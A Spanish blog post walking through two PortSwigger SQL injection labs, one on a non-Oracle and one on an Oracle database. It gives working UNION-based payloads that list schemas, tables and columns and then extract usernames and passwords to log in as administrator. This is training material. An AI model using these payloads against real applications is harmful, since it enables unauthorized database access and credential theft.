Bueno, después de unos días revisando otros temas, hoy vuelvo con los labs de SQLi de PortSwigger.
Si no has visto aun las entradas anteriores, te recomiendo encarecidamente que lo hagas, ya que a partir de ahora, se empieza a complicar algo más el tema, y si no has afianzado bien los conocimientos, te va a costar seguirlos.
Vamos a listar el contenido de la DB, pero en bases de datos que no son Oracle. Como siempre, tenemos que obtener el usuario y la contraseña. Además, como viene siendo habitual también, el parámetro vulnerable sigue siendo category.
Una vez que hemos identificado (con order by) las columnas y que comprobamos si admite "letras" o "números" (con union select), el siguiente paso es ver todas las bases de datos que existen, para ello usamos:
' union select null, schema_name from information_schema.schemata -- -

Lo siguiente será sacar las tablas de la base de datos public, que (casi seguro) será que contenga los datos que necesitamos.
' union select null, table_name from information_schema.tables -- -
¿Qué ocurre? que nos aparece el listado completo y es un coñazo andar mirando una por una, así que, lo que hacemos es acotar por el nombre de public que ya conocíamos. Y esto lo hacemos con el viejo conocido WHERE.
where table_schema='public' -- -

Ya tenemos las tablas listadas, así que, vamos a por las columnas que necesitamos. Lo hacemos de la siguiente manera:
' union select null, column_name from information_schema.columns where table_name='users_fxetin' -- -
Y como último paso, sacamos usuario y contraseña para logarnos como administrador. Para hacerlo, usamos la siguiente sentencia:
' union select username_wvmbhr, password_zmwfyo from users_fxetin%20 -- -
En este caso debemos quitar el null que estábamos usando porque le estamos pidiendo dos columnas y solo tenemos dos.

Pues como ya tenemos usuario y contraseña, entramos en el login y lab resuelto.

Continuamos con el siguiente lab, que es más de lo mismo, pero con DB de Oracle. Lo que si nos recuerda, es que debemos usar el FROM DUAL para que funcione la inyección.
La primera inyección que vamos a utilizar es para ver las bases de datos (igual que en el anterior lab), y usamos lo siguiente:
' union select owner, null from all_tables -- -

Por los nombres que se listan, el que tiene pinta de ser el candidato es SYSTEM, pero necesito ver lo que tiene, así que, a la sentencia le añado table_name para verlo.

Vale, vamos a sacar ahora las columnas con:
' union select column_name, null from all_tab_columns where table_name='USERS_CYTCNA' -- -

Y, como hiciéramos antes, sacamos el usuario y contraseña con:
' union select PASSWORD_IPWAFN, USERNAME_ENAOIJ from USERS_CYTCNA -- -

Por último hacemos login para que nos dé como resuelto este lab.

Iba a hacer otro más, para completar los tres que vengo resolviendo, pero empieza la parte de inyecciones a ciegas (Blind SQLi) y prefiero dejarlo para la próxima entrada. Así que, nada más.
Nos vemos en la siguiente.
0 comentarios:
Publicar un comentario